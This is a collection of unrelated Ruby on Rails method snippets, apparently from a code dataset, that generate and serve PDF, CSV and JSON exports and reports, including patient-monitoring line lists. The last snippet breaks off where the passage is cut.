"def comprehensive_details_for_export(patients, statuses)\n comprehensive_details = incomplete_comprehensive_details_for_export(patients)\n patients_jurisdiction_paths = jurisdiction_paths(patients)\n patients_labs = latest_laboratories(patients)\n patients.each do |patient|\n comprehensive_details[patient.id][:jurisdiction_path] = patients_jurisdiction_paths[patient.id]\n comprehensive_details[patient.id][:status] = statuses[patient.id]\n next unless patients_labs.key?(patient.id)\n next unless patients_labs[patient.id].key?(:first)\n\n comprehensive_details[patient.id][:lab_1_type] = patients_labs[patient.id][:first][:lab_type]\n comprehensive_details[patient.id][:lab_1_specimen_collection] = patients_labs[patient.id][:first][:specimen_collection]&.strftime('%F')\n comprehensive_details[patient.id][:lab_1_report] = patients_labs[patient.id][:first][:report]&.strftime('%F')\n comprehensive_details[patient.id][:lab_1_result] = patients_labs[patient.id][:first][:result]\n next unless patients_labs[patient.id].key?(:second)\n\n comprehensive_details[patient.id][:lab_2_type] = patients_labs[patient.id][:second][:lab_type]\n comprehensive_details[patient.id][:lab_2_specimen_collection] = patients_labs[patient.id][:second][:specimen_collection]&.strftime('%F')\n comprehensive_details[patient.id][:lab_2_report] = patients_labs[patient.id][:second][:report]&.strftime('%F')\n comprehensive_details[patient.id][:lab_2_result] = patients_labs[patient.id][:second][:result]\n end\n comprehensive_details\n end",
"def download\n @resume = Resume.find(params[:id])\n if @current_user and ( (@current_user == @resume.person) or (@current_user.in_groups?(['superusers', 'indrel'])) )\n send_file @resume.file, type: 'application/pdf', x_sendfile: true\n else\n redirect_to :root, notice: \"Insufficient privileges to access this page.\"\n end\n end",
"def show\n @lablocational = Lablocational.all\n# respond_to do |format|\n# format.html # show.html.erb\n# format.xml { render :xml => @lablocational }\n# end\n\tprawnto :filename => 'Report-LocationalLab.pdf', :inline => false\n\n end",
"def show\n @attendance = Attendance.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @attendance }\n\n format.pdf do\n #pdf = CertificatePdf.new @attendance\n #send_data pdf.render, type: \"application/pdf\", disposition: \"inline\", filename: \"Certificate\"\n pdf = CertificatePdf.new(@attendance)\n send_data pdf.render, filename: \"#{@attendance.teaching_session.date}.pdf\",\n type: \"application/pdf\",\n disposition: \"inline\"\n\n end\n end\n end",
"def download_sample_calib_file\t\n temp = [[\"Probes\", \"Intensity with 1ng\", \"Intensity with 5ng\", \"Intensity with 50ng\", \"Intensity with 100ng\"], [\"cell counts\",\"270\",\"1351\",\"6757\",\"27027\"], [\"EukS_1209_25_dT\",\"4102788.91290624\",\"1.68E+07\",\"2.62E+08\",\"5.41E+08\"], [\"Test15 (EukS_1209_25dT)\",\"3242670.65825\",\"1.99E+07\",\"3.92E+08\",\"3.73E+08\"],[\"EukS_328_25_dT\",\"4564828.4446875\",\"2.18E+07\",\"4.40E+08\",\"6.77E+08\"], [\"DinoB_25_dT\",\"7269595.08139062\",\"3.56E+07\",\"4.00E+08\",\"6.06E+08\"]]\n\n send_sample_file(\"sample_calibration_file\", temp) \n end",
"def report_file\n File.join(@report_dir, \"#{@id}.json\")\n end",
"def file_format\n @descriptive_detail.file_format\n end",
"def get_marker_list_as_file\n\n analysis = Analysis.find(params[:id])\n strain_sorted = analysis.selected_strains.sort_by {|s| s.position}\n @text_output = \"symbol\\tchromosome\\tposition\\tallele\\tsequence\"\n strain_sorted.each do |str|\n strain_record = Strain.find(str.strain_id)\n @text_output << \"\\t#{strain_record.symbol}\"\n end\n @text_output << \"\\n\"\n \n @markers = get_region_marker_data(1, analysis.chromosome, analysis.start, analysis.end)\n \n @markers.each do |m|\n\n if m.sequence != nil\n m.sequence[40] = \"[#{m.target_allele}]\"\n else\n m.sequence = \"\"\n end\n @text_output << \"#{m.symbol}\\t#{m.map_positions[0].chromosome_label}\\t#{m.map_positions[0].start}\\t#{m.target_allele}\\t#{m.sequence}\"\n \n strain_sorted.each do |str|\n genotype = Genotype.find_by_genotypable_id_and_strain_id(m.id,str.strain_id)\n @text_output << \"\\t\"\n if genotype != nil\n @text_output << \"#{genotype.get_public_genotype}\"\n else\n @text_output << \"?\"\n end\n end\n @text_output << \"\\n\"\n \n end\n \n send_data @text_output,\n :content_type => \"text/plain\",\n :filename => \"snplotyper_chr#{analysis.chromosome}_#{analysis.start}_to_#{analysis.end}\" \".txt\"\n end",
"def export_files\n begin\n file_to_download = \"sample_non_compliance_question.csv\"\n send_file Rails.public_path + file_to_download, :type => 'text/csv; charset=iso-8859-1; header=present', :disposition => \"attachment; filename=#{file_to_download}\", :stream => true, :buffer_size => 4096\n rescue\n flash[:error] = MESSAGES[\"csv_export\"][\"error\"]\n redirect_to new_audit_path\n end\n end",
"def show\n respond_to do |format|\n format.json { render :show }\n format.pdf {\n send_data @record.to_pdf, filename: \"#{@record.user.realname}-#{@record.id}.pdf\",disposition: 'inline'\n }\n end\n end",
"def report_file\n File.join(@params[\"SS_output_dir\"], \"report_data.json\")\nend",
"def generate_and_save_sessions_report( provider, encounters, custom_filename = nil, params={}) #\n raise \"no entries\" if encounters.size == 0\n puts \"Producing report...\"\n clinic_sessions = Analyze.extract_clinic_sessions( encounters )\n\n friendly = Reports.friendly_filename( custom_filename || provider )\n filename_complete = \"report_billing_#{friendly}_#{ Time.now.strftime(\"%F\") }.html\"\n\n File.open(filename_complete , \"w:UTF-8\") do |file|\n file.write(Reports.session_efficiency(encounters, clinic_sessions, params).gsub(\"\\n\", \"\\r\\n\"))\n end\n puts \" Saved as #{ filename_complete }\"\n\n filename_complete_2 = \"report_sessions_#{friendly}_#{ Time.now.strftime(\"%F\") }.html\"\n\n File.open(filename_complete_2 , \"w:UTF-8\") do |file|\n file.write(Reports.session_details(clinic_sessions ).gsub(\"\\n\", \"\\r\\n\"))\n end\n puts \" Saved as #{ filename_complete_2 }\"\n\n\nend",
"def generate_invoice\n @patient = Patient.find(params[:id])\n @user_patients = @patient.user_patients.where(\"archive is null\")\n respond_to do |format|\n format.html\n format.pdf do\n pdf = HmsPdfDocument.new(SessionsHelper::FOR_PATIENT, @user_patients, view_context)\n @user_patients.update_all :archive => SessionsHelper::ARCHIVE\n send_data pdf.render, filename: \"invoice_summary_#{@patient.id}.pdf\", type: \"application/pdf\"\n end\n end\n end",
"def index\n @all_participant_notes = @participant.notes.order(\"notes.updated_at desc\").paginate(:page => params[:page], :per_page => 16)\n\n respond_to do |format|\n format.html\n format.csv { send_data @participant.notes.order(\"notes.updated_at desc\").to_csv }\n end\n end",
"def get_audit_record_pdf(safebox)\n url = get_audit_record_pdf_url(safebox)\n @json_client.get_audit_record_pdf(url)\n end",
"def download\n @orders = Order.find(params[:ids])\n\n case params[:format]\n when 'xml'\n content = Order.get_xml_for_orders(@orders)\n when 'csv'\n content = Order.get_csv_for_orders(@orders)\n end\n\n directory = File.join(RAILS_ROOT, \"public/system/order_files\")\n file_name = Time.now.strftime(\"%m_%d_%Y_%H-%M\")\n file = \"#{file_name}.#{params[:format]}\"\n save_to = \"#{directory}/#{file}\"\n\n # make sure we have the directory to write these files to\n if Dir[directory].empty?\n FileUtils.mkdir_p(directory)\n end \n\n # write the file\n File.open(save_to, \"w\") { |f| f.write(content) }\n\n send_file(save_to, :type => \"text/#{params[:format]}\")\n end",
"def incomplete_linelists_for_export(patients)\n linelists = {}\n patients.each do |patient|\n linelists[patient.id] = {\n id: patient[:id],\n name: \"#{patient[:last_name]}#{patient[:first_name].blank? ? '' : ', ' + patient[:first_name]}\",\n jurisdiction: '',\n assigned_user: patient[:assigned_user] || '',\n state_local_id: patient[:user_defined_id_statelocal] || '',\n sex: patient[:sex] || '',\n dob: patient[:date_of_birth]&.strftime('%F') || '',\n end_of_monitoring: patient.end_of_monitoring,\n risk_level: patient[:exposure_risk_assessment] || '',\n monitoring_plan: patient[:monitoring_plan] || '',\n latest_report: patient[:latest_assessment_at]&.rfc2822,\n transferred_at: '',\n reason_for_closure: patient[:monitoring_reason] || '',\n public_health_action: patient[:public_health_action] || '',\n status: '',\n closed_at: patient[:closed_at]&.rfc2822 || '',\n transferred_from: '',\n transferred_to: '',\n expected_purge_date: patient[:updated_at].nil? ? '' : ((patient[:updated_at] + ADMIN_OPTIONS['purgeable_after'].minutes)&.rfc2822 || ''),\n extended_isolation: patient[:extended_isolation] || ''\n }\n end\n linelists\n end",
"def show\n @meeting = Meeting.find(params[:id])\n @json_from_file = 0\n for file in @meeting.file.attachments\n if file.content_type == 'application/json'\n download_file_from_s3('smartmeetingsbelieving', \"./tmp/\" + file.filename.to_s(), file.filename.to_s())\n @json_from_file = File.read(\"tmp/\" + file.filename.to_s())\n end\n end\n end",
"def download_file_with_format_with_http_info(name, format, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DiagramApi.download_file_with_format ...\"\n end\n # verify the required parameter 'name' is set\n if @api_client.config.client_side_validation && name.nil?\n fail ArgumentError, \"Missing the required parameter 'name' when calling DiagramApi.download_file_with_format\"\n end\n # verify the required parameter 'format' is set\n if @api_client.config.client_side_validation && format.nil?\n fail ArgumentError, \"Missing the required parameter 'format' when calling DiagramApi.download_file_with_format\"\n end\n # resource path\n local_var_path = \"/diagram/{name}\".sub('{' + 'name' + '}', name.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'format'] = format\n query_params[:'folder'] = opts[:'folder'] if !opts[:'folder'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['multipart/form-data'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['JWT']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'File')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiagramApi#download_file_with_format\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def extract_patients_details(patients, fields)\n # query jurisdiction paths in bulk if requested\n if (fields & %i[jurisdiction_path transferred_from transferred_to]).any?\n jur_ids = patients.pluck(:jurisdiction_id).uniq\n jur_ids = (jur_ids + patients.pluck(:latest_transfer_from)).uniq if fields.include?(:transferred_from)\n jurisdiction_paths = Jurisdiction.find(jur_ids).pluck(:id, :path).to_h\n end\n\n # query jurisdiction names in bulk if requested\n jurisdiction_names = Jurisdiction.find(patients.pluck(:jurisdiction_id).uniq).pluck(:id, :name).to_h if fields.include?(:jurisdiction_name)\n\n # query user emails in bulk if requested\n patients_creators = patients.joins('JOIN users ON patients.creator_id = users.id').pluck('users.id', 'users.email').to_h if fields.include?(:creator)\n\n # query patient_ids\n patient_ids = patients.pluck(:id)\n\n # query patients laboratories in bulk if requested\n if (fields & PATIENT_FIELD_TYPES[:lab_fields]).any?\n patients_laboratories = Laboratory.where(patient_id: patient_ids)\n .order(specimen_collection: :desc)\n .group_by(&:patient_id)\n .transform_values { |v| v.take(2) }\n end\n\n # query patients vaccines in bulk if requested\n if (fields & PATIENT_FIELD_TYPES[:vaccine_fields]).any?\n patients_vaccines = Vaccine.where(patient_id: patient_ids)\n .order(administration_date: :desc)\n .group_by(&:patient_id)\n .transform_values { |v| v.take(3) }\n end\n\n # query patients common export cohorts in bulk if requested\n if (fields & PATIENT_FIELD_TYPES[:cohort_fields]).any?\n patients_cohorts = CommonExposureCohort.where(patient_id: patient_ids)\n .order(created_at: :desc)\n .group_by(&:patient_id)\n .transform_values { |v| v.take(2) }\n end\n\n # construct patient details\n ActiveRecord::Base.uncached do\n patients.map do |patient|\n patient_details = {}\n\n # populate inherent fields by type\n (fields & PATIENT_FIELD_TYPES[:strings]).each { |field| patient_details[field] = patient[field] }\n (fields & PATIENT_FIELD_TYPES[:notes]).each { |field| patient_details[field] = remove_formula_start(patient[field]) }\n (fields & PATIENT_FIELD_TYPES[:dates]).each { |field| patient_details[field] = patient[field]&.strftime('%F') }\n (fields & PATIENT_FIELD_TYPES[:times]).each { |field| patient_details[field] = TIME_OPTIONS[patient[field]&.to_sym] }\n (fields & PATIENT_FIELD_TYPES[:phones]).each { |field| patient_details[field] = format_phone_number(patient[field]) }\n (fields & (PATIENT_FIELD_TYPES[:numbers] + PATIENT_FIELD_TYPES[:timestamps])).each { |field| patient_details[field] = patient[field] }\n (fields & (PATIENT_FIELD_TYPES[:booleans] + PATIENT_FIELD_TYPES[:races])).each { |field| patient_details[field] = patient[field] || false }\n (fields & PATIENT_FIELD_TYPES[:languages]).each { |field| patient_details[field] = Languages.translate_code_to_display(patient[field]) }\n\n # populate computed fields\n patient_details[:name] = patient.displayed_name if fields.include?(:name)\n patient_details[:age] = patient.calc_current_age if fields.include?(:age)\n patient_details[:workflow] = patient[:isolation] ? 'Isolation' : 'Exposure'\n patient_details[:symptom_onset_defined_by] = patient[:user_defined_symptom_onset] ? 'User' : 'System'\n patient_details[:monitoring_status] = patient[:monitoring] ? 'Actively Monitoring' : 'Not Monitoring'\n patient_details[:end_of_monitoring] = patient.end_of_monitoring if fields.include?(:end_of_monitoring)\n patient_details[:expected_purge_ts] = patient.expected_purge_date_exp if fields.include?(:expected_purge_ts)\n patient_details[:full_status] = patient.status&.to_s&.humanize&.downcase if fields.include?(:full_status)\n patient_details[:status] = patient.status_as_string if fields.include?(:status)\n patient_details[:enrolled_workflow] = case patient[:enrolled_isolation]\n when true\n 'Isolation'\n when false\n 'Exposure'\n end\n patient_details[:contact_became_case_at] =\n if patient.isolation && !patient.enrolled_isolation\n patient[:exposure_to_isolation_at]&.strftime('%F')\n elsif !patient.isolation && !patient.enrolled_isolation &&\n (Patient::ISOLATION_CASE_STATUS.include?(patient[:case_status]) ||\n Patient::CONTACT_TO_CASE_MONITORING_REASONS.include?(patient[:monitoring_reason]))\n patient[:closed_at]&.strftime('%F')\n end\n\n # populate creator if requested\n patient_details[:creator] = patients_creators[patient.creator_id] if fields.include?(:creator)\n\n # populate jurisdiction if requested\n patient_details[:jurisdiction_name] = jurisdiction_names[patient.jurisdiction_id] if fields.include?(:jurisdiction_name)\n patient_details[:jurisdiction_path] = jurisdiction_paths[patient.jurisdiction_id] if fields.include?(:jurisdiction_path)\n\n # populate latest transfer from and to if requested\n if patient[:latest_transfer_from].present?\n patient_details[:transferred_from] = jurisdiction_paths[patient.latest_transfer_from] if fields.include?(:transferred_from)\n patient_details[:transferred_to] = jurisdiction_paths[patient.jurisdiction_id] if fields.include?(:transferred_to)\n end\n\n # populate labs if requested (export for all monitorees)\n if patients_laboratories&.key?(patient.id)\n if patients_laboratories[patient.id]&.first&.present?\n patient_details[:lab_1_type] = patients_laboratories[patient.id].first[:lab_type] if fields.include?(:lab_1_type)\n if fields.include?(:lab_1_specimen_collection)\n patient_details[:lab_1_specimen_collection] = patients_laboratories[patient.id].first[:specimen_collection]&.strftime('%F')\n end\n patient_details[:lab_1_report] = patients_laboratories[patient.id].first[:report]&.strftime('%F') if fields.include?(:lab_1_report)\n patient_details[:lab_1_result] = patients_laboratories[patient.id].first[:result] if fields.include?(:lab_1_result)\n end\n if patients_laboratories[patient.id]&.second&.present?\n patient_details[:lab_2_type] = patients_laboratories[patient.id].second[:lab_type] if fields.include?(:lab_2_type)\n if fields.include?(:lab_2_specimen_collection)\n patient_details[:lab_2_specimen_collection] = patients_laboratories[patient.id].second[:specimen_collection]&.strftime('%F')\n end\n patient_details[:lab_2_report] = patients_laboratories[patient.id].second[:report]&.strftime('%F') if fields.include?(:lab_2_report)\n patient_details[:lab_2_result] = patients_laboratories[patient.id].second[:result] if fields.include?(:lab_2_result)\n end\n end\n\n # populate vaccines if requested (export for all monitorees)\n if patients_vaccines&.key?(patient.id)\n if patients_vaccines[patient.id]&.first&.present?\n patient_details[:vaccine_1_group_name] = patients_vaccines[patient.id].first[:group_name] if fields.include?(:vaccine_1_group_name)\n patient_details[:vaccine_1_product_name] = patients_vaccines[patient.id].first[:product_name] if fields.include?(:vaccine_1_product_name)\n if fields.include?(:vaccine_1_administration_date)\n patient_details[:vaccine_1_administration_date] = patients_vaccines[patient.id].first[:administration_date]&.strftime('%F')\n end\n patient_details[:vaccine_1_dose_number] = patients_vaccines[patient.id].first[:dose_number] if fields.include?(:vaccine_1_dose_number)\n patient_details[:vaccine_1_notes] = patients_vaccines[patient.id].first[:notes] if fields.include?(:vaccine_1_notes)\n end\n\n if patients_vaccines[patient.id]&.second&.present?\n patient_details[:vaccine_2_group_name] = patients_vaccines[patient.id].second[:group_name] if fields.include?(:vaccine_2_group_name)\n patient_details[:vaccine_2_product_name] = patients_vaccines[patient.id].second[:product_name] if fields.include?(:vaccine_2_product_name)\n if fields.include?(:vaccine_2_administration_date)\n patient_details[:vaccine_2_administration_date] = patients_vaccines[patient.id].second[:administration_date]&.strftime('%F')\n end\n patient_details[:vaccine_2_dose_number] = patients_vaccines[patient.id].second[:dose_number] if fields.include?(:vaccine_2_dose_number)\n patient_details[:vaccine_2_notes] = patients_vaccines[patient.id].second[:notes] if fields.include?(:vaccine_2_notes)\n end\n\n if patients_vaccines[patient.id]&.third&.present?\n patient_details[:vaccine_3_group_name] = patients_vaccines[patient.id].third[:group_name] if fields.include?(:vaccine_3_group_name)\n patient_details[:vaccine_3_product_name] = patients_vaccines[patient.id].third[:product_name] if fields.include?(:vaccine_3_product_name)\n if fields.include?(:vaccine_3_administration_date)\n patient_details[:vaccine_3_administration_date] = patients_vaccines[patient.id].third[:administration_date]&.strftime('%F')\n end\n patient_details[:vaccine_3_dose_number] = patients_vaccines[patient.id].third[:dose_number] if fields.include?(:vaccine_3_dose_number)\n patient_details[:vaccine_3_notes] = patients_vaccines[patient.id].third[:notes] if fields.include?(:vaccine_3_notes)\n end\n end\n\n # populate common export cohorts if requested (export for all monitorees)\n if patients_cohorts&.key?(patient.id)\n if patients_cohorts[patient.id]&.first&.present?\n patient_details[:cohort_1_type] = patients_cohorts[patient.id].first[:cohort_type] if fields.include?(:cohort_1_type)\n patient_details[:cohort_1_name] = patients_cohorts[patient.id].first[:cohort_name] if fields.include?(:cohort_1_name)\n patient_details[:cohort_1_location] = patients_cohorts[patient.id].first[:cohort_location] if fields.include?(:cohort_1_location)\n end\n if patients_cohorts[patient.id]&.second&.present?\n patient_details[:cohort_2_type] = patients_cohorts[patient.id].second[:cohort_type] if fields.include?(:cohort_2_type)\n patient_details[:cohort_2_name] = patients_cohorts[patient.id].second[:cohort_name] if fields.include?(:cohort_2_name)\n patient_details[:cohort_2_location] = patients_cohorts[patient.id].second[:cohort_location] if fields.include?(:cohort_2_location)\n end\n end\n\n fields.map { |field| patient_details[field] }\n end\n end\n end",
"def download\n @pdfForms = CombinePDF.new\n #@pdfForms << CombinePDF.load('app/assets/forms/all_forms.pdf')\n\n form_groups = [:forms, :property_forms, :gl_forms, :crime_forms, :auto_forms]\n\n form_groups.each do |fg|\n if !@policy[fg].empty?\n @policy[fg].split(\" \").each do |f|\n f = f.gsub(\"/\", \"-\")\n begin\n @pdfForms << CombinePDF.load(\"app/assets/forms/#{f}.pdf\")\n rescue\n end\n end\n end\n end\n send_data @pdfForms.to_pdf, filename: \"Forms_#{@policy.policy_number}.pdf\", format: 'pdf'\n end",
"def export_data(table_or_report_name, format, criteria, config={})\n body = {'ZOHO_CRITERIA' => criteria}\n body = body.merge!(config) if config.present?\n\n options = {\n :query => {\n 'ZOHO_ACTION' => 'EXPORT',\n 'ZOHO_OUTPUT_FORMAT' => format,\n },\n :body => body\n }\n\n result = send_request get_uri(table_or_report_name), 'post', options\n result\n # TODO: Figure out to what to do with File objects response\n end",
"def show\n respond_to do |format|\n format.html\n format.csv {\n send_data @experiment.to_csv,\n filename: \"#{@experiment.id}-#{@experiment.name}.csv\", \n disposition: 'inline', type: \"multipart/related\"\n }\n end\n end",
"def download\n @paystub = Paystub.find( params[:id] )\n\n if File.exists?(@paystub.filespec)\n send_file @paystub.filespec,\n\t filename: @paystub.filename,\n type: \"application/pdf\",\n disposition: :attachment\n else\n flash.now[:danger] = \"File #{@paystub.filename} was not found - regenerating\" \n redirect_to export_paystub_path(@paystub)\n end\n end",
"def getReport(filename)\n result = @driver.GetGeneratedReports(:ApiKey => @apikey)\n if result.getGeneratedReportsResult.errorCode == \"0\" then\n response = result.getGeneratedReportsResult.items.apiResponseItem\n @reportlist = Hash.new\n response.each do |res|\n @reportlist.update(res.filename => res.fullPath)\n end\n output = @reportlist[filename]\n else\n output = result.getGeneratedReportsResult.errorMessage\n end\n return output\n end",
"def download_rent_full_details_pdf\n @rent = Rent.find(params[:id])\n @rent_details = @rent.rents_transactions\n\n respond_to do |format|\n format.html\n format.pdf do\n render :pdf => \"Rent Full Details-#{Time.now}\"\n end\n end\n end",
"def download_history\n agent = User.find(params[:id])\n respond_to do |format|\n format.pdf do\n pdf = DownloadHistory.new(agent)\n send_data pdf.render, filename: \"#{agent.name}_history\",\n type: 'application/pdf',\n disposition: 'inline'\n end\n end\n end",
"def solicitudes\n report = SolicitudesReport.new(:page_size => 'LEGAL',\n :page_layout => :landscape)\n report.reporttitle = 'REPORTES DE SOLICITUDES'\n report.items = Solicitud.find(:all, :conditions => [\"solicitudes.institucion_id = ? and solicitudes.anulada = ?\", usuario_actual.institucion_id, false], :order => :numero)\n output = report.to_pdf\n\n file_name = \"solicitudes_\" + Time.now.to_i.to_s + \".pdf\"\n\n respond_to do |format|\n format.pdf do\n send_data output, :filename => file_name,\n :type => \"application/pdf\"\n end\n end\n end",
"def show\n @date = read_quarter(params[:id])\n @tds_return = TdsReturn.build_object(@company,@date)\n respond_to do |format|\n format.html\n format.xml { render :xml => @tds_return }\n format.pdf do\n pdf = Form27a.new(@company,@tds_return).download_from_27a\n send_data(pdf.render, :filename => company_file_name(:action => 'Form27A', :duration => @tds_return.quarter))\n end\n end\n end",
"def to_pdf_by_question(filename, footer=nil)\n\n #Retrieve a list of all valid attempts\n attempts = valid_attempts.sort_by! { |x| x.question_id }\n\n #And convert the list of attempts to a single PDF.\n self.class.pdf_from_attempt_collection(filename, attempts, footer)\n\n end",
"def show\n @attention = Attention.new\n respond_to do |format|\n format.html\n format.json\n format.pdf {render template: 'employees/report-employee', pdf: 'report-employee', layout: 'pdf.html'}\n end\n end",
"def solicitudes\n report = SolicitudesReport.new(:page_size => 'LEGAL',\n :page_layout => :landscape)\n report.reporttitle = 'REPORTES DE SOLICITUDES'\n report.items = Solicitud.find(:all, :conditions => [\"solicitudes.institucion_id = ? and solicitudes.anulada = ?\", current_usuario.institucion_id, false], :order => :numero)\n output = report.to_pdf\n\n file_name = \"solicitudes_\" + Time.now.to_i.to_s + \".pdf\"\n\n respond_to do |format|\n format.pdf do\n send_data output, :filename => file_name,\n :type => \"application/pdf\"\n end\n end\n end",
"def generateReport\n filePath = \"#{@reportFolder}/report.csv\"\n file = File.open(filePath, 'w')\n file.puts ['Screen', 'Description', 'Automation Message', 'Status'].join(',')\n @report.each do |result|\n file.puts result.join(',')\n end\n file.close\n end",
"def download_data\n file_content = nil\n begin\n file_content = FileContent.find(params[:id])\n rescue\n file_content = nil\n end\n\n # We need to figure out which groups are allowed to download this file content.\n # Unfortunately, this requires iterating through any referenced URLs and collecting\n # all applicable group_ids.\n group_ids = []\n if (!file_content.nil? &&\n !file_content.data.nil?)\n file_content.process_files.each do |process_file|\n if (!process_file.os_process.nil? &&\n !process_file.os_process.fingerprint.nil? &&\n !process_file.os_process.fingerprint.url.nil?)\n # Clear the cache, if need be.\n process_file.os_process.fingerprint.url.expire_caches\n group_ids << process_file.os_process.fingerprint.url.group_id\n end\n end\n group_ids.uniq!\n end\n\n if (!file_content.nil? &&\n !file_content.data.nil? &&\n (!group_ids.index(nil).nil? ||\n current_user.has_role?(:admin) ||\n ((current_user.groups.map{|g| g.is_a?(Group) ? g.id : g} & group_ids).size > 0)))\n send_file(RAILS_ROOT + '/' + file_content.data.to_s, :x_sendfile => true)\n else\n redirect_back_or_default('/')\n end\n end",
"def download(recording, filename = nil)\n \n # If no filename is given, we default to <title>_<recstartts>.<extension>\n if filename.nil?\n filename = recording.title + \"_\" +\n recording.myth_nondelimited_recstart + File.extname(recording.filename) \n end\n\n File.open(filename, \"wb\") do |f|\n stream(recording.path) { |data| f.write(data); puts \".\" }\n end\n end",
"def show\r\n respond_to do |format|\r\n format.html\r\n format.pdf do\r\n pdf = AppointmentReportPdf.new(@appointment_report)\r\n send_data pdf.render, filename: \"Reporte_medico_de_cita_#{@appointment_report.appointment.id.to_s.rjust(4, '0')}.pdf\",\r\n type: \"application/pdf\",\r\n disposition: \"inline\"\r\n end\r\n end\r\n end",
"def show\n respond_to do |format|\n format.html\n format.csv {\n @data = @dataset.data\n send_data @data, \n :type => 'text/csv; charset=iso-8859-1; header=present', :stream => true,\n :disposition => \"attachment; filename=#{@dataset.user.student_number}_#{Date.today.strftime('%Y%m%d')}.csv\"\n }\n end\n end",
"def pdf_list_insureds\n @insurance = load_insurance\n @rotation = @insurance.rotations.last\n\n respond_to do |format|\n format.pdf do\n pdf = ListInsuredsPdf.new(@rotation, view_context)\n send_data pdf.render,\n filename: \"#{@insurance.number}_rotation_#{@rotation.rotation_date.strftime(\"%Y-%m-%d\")}_list_insureds.pdf\",\n type: \"application/pdf\",\n disposition: \"inline\" \n end\n end \n end",
"def instrument_responses_long\n export = ResponseExport.find(params[:id])\n download_file(export.export_file('long').path, 'text/csv', export_name(export.instrument.title, 'long', '.csv')) if export.instrument\n end",
"def print_for_tu_result\n @letters = Letter.find(:all, :conditions => ['item_date between ? and ?', \n params[:report][:starts_at], \n params[:report][:ends_at]])\n render :xml => @letters.to_xml\n @rt = params[:report][:report_type]\n @rg = params[:report][:report_group]\n @rgt = params[:report][:report_grouptype] if params[:report] \n mime_type = \"application/msword\"\n @user = current_user\n @file = DataFile.do_rtf_for_tu(@user, @letters, @rt, @rg, @rgt)\n # Send the new file with the wordprocessingml document\n # content type.\n send_file(@file, :filename => Russian.t(:letters) + \" - \" + Time.now.to_s + \".doc\", :type => mime_type)\n end",
"def create\n records = if file_upload?\n case file_upload_params['records']['file'].content_type\n when 'text/xml' then FileParser::XMLRecordParser.call( file_upload_params['records']['file'].path )\n when 'text/csv' then FileParser::CSVRecordParser.call( file_upload_params['records']['file'].path )\n when 'application/json' then FileParser::JSONRecordParser.call( file_upload_params['records']['file'].path )\n end\n else # non file upload\n form_submission_params['records'].is_a?(Array) ? form_submission_params['records'] : [ form_submission_params['records'] ]\n end\n\n begin\n @report = ReportCreator.new(records).results\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @report, status: :ok }\n end\n rescue => exception\n respond_to do |format|\n redirect_to :new, error: \"Invalid Information\", status: :unprocessable_entity\n\n format.json { render status: :unprocessable_entity }\n end\n end\n end",
"def print_batch(ids)\n timenow = Time.current.strftime(\"%Y%m%d_-_%H%M\")\n ids_string = ids.to_csv.delete(\"\\n\")\n resource_url = \"#{@base_uri}/envios/etiquetas?access_token=#{@access_token}&ids=#{ids_string}\"\n begin\n response = RestClient.get resource_url\n send_data(response, :filename => \"etiquetas_-_#{timenow}.pdf\", :disposition => \"attachment\", :type => \"application/pdf\")\n rescue e\n return JSON.parse(e.response, object_class: OpenStruct)\n end\n end",
"def save_pdf\n assert_equal 'application/pdf', response.media_type\n filename = \"#{self.class.name.underscore}__#{method_name}.pdf\"\n File.open(File.join($redmine_tmp_pdf_directory, filename), \"wb\") do |f|\n f.write response.body\n end\n end",
"def init_patients_report(from_date)\n from_date = from_date.to_date.beginning_of_week\n to_date = from_date + 6.days\n file_path = File.join(Rails.root, \"tmp/patient_report_#{Time.now.to_i}.csv\")\n headers = ['Patient Name', 'Insurance Provide', 'Date Of Birth', 'Therapist', 'Admit Date', 'LOC']\n @company.patients.first.daywise_infos.each do |daywise_info|\n headers << \"#{daywise_info.t_date.strftime('%m/%d/%Y')} (#{daywise_info.t_date.strftime(\"%A\")})\" if daywise_info.t_date.between?(from_date.to_time,to_date.to_time)\n end\n csv_file = CSV.open(file_path, 'wb') do |csv|\n csv << headers\n end\n csv_file\n end",
"def notification_report\n begin\n file = PdfExportService.create_and_save_pdf(\"notification_report_pdf_template\", self)\n Base64.encode64(file)\n rescue StandardError\n raise PDFGenerationError\n end\n end",
"def get_export_data(patients, data, field_data)\n exported_data = {}\n exported_data[:patients] = extract_patients_details(patients, field_data[:patients][:checked]) if data.dig(:patients, :checked).present?\n\n # extract patient identifiers for other data types if necessary\n if exported_data[:patients].present? && data[:patients][:checked].include?(:id)\n id_index = field_data[:patients][:checked].index(:id)\n patient_ids = exported_data[:patients].map { |values| values[id_index] }\n else\n patient_ids = patients.pluck(:id)\n end\n\n if data.dig(:assessments, :checked).present?\n assessments = assessments_by_patient_ids(patient_ids)\n symptom_names = field_data[:assessments][:checked] - data[:assessments][:checked]\n exported_data[:assessments] = extract_assessments_details(assessments, data[:assessments][:checked], symptom_names)\n end\n\n if data.dig(:laboratories, :checked).present?\n laboratories = laboratories_by_patient_ids(patient_ids)\n exported_data[:laboratories] = extract_laboratories_details(laboratories, data[:laboratories][:checked])\n end\n\n if data.dig(:vaccines, :checked).present?\n vaccines = vaccines_by_patient_ids(patient_ids)\n exported_data[:vaccines] = extract_vaccines_details(vaccines, data[:vaccines][:checked])\n end\n\n if data.dig(:close_contacts, :checked).present?\n close_contacts = close_contacts_by_patient_ids(patient_ids)\n exported_data[:close_contacts] = extract_close_contacts_details(close_contacts, data[:close_contacts][:checked])\n end\n\n if data.dig(:common_exposure_cohorts, :checked).present?\n common_exposure_cohorts = common_exposure_cohorts_by_patient_ids(patient_ids)\n exported_data[:common_exposure_cohorts] = extract_common_exposure_cohort_details(common_exposure_cohorts, data[:common_exposure_cohorts][:checked])\n end\n\n if 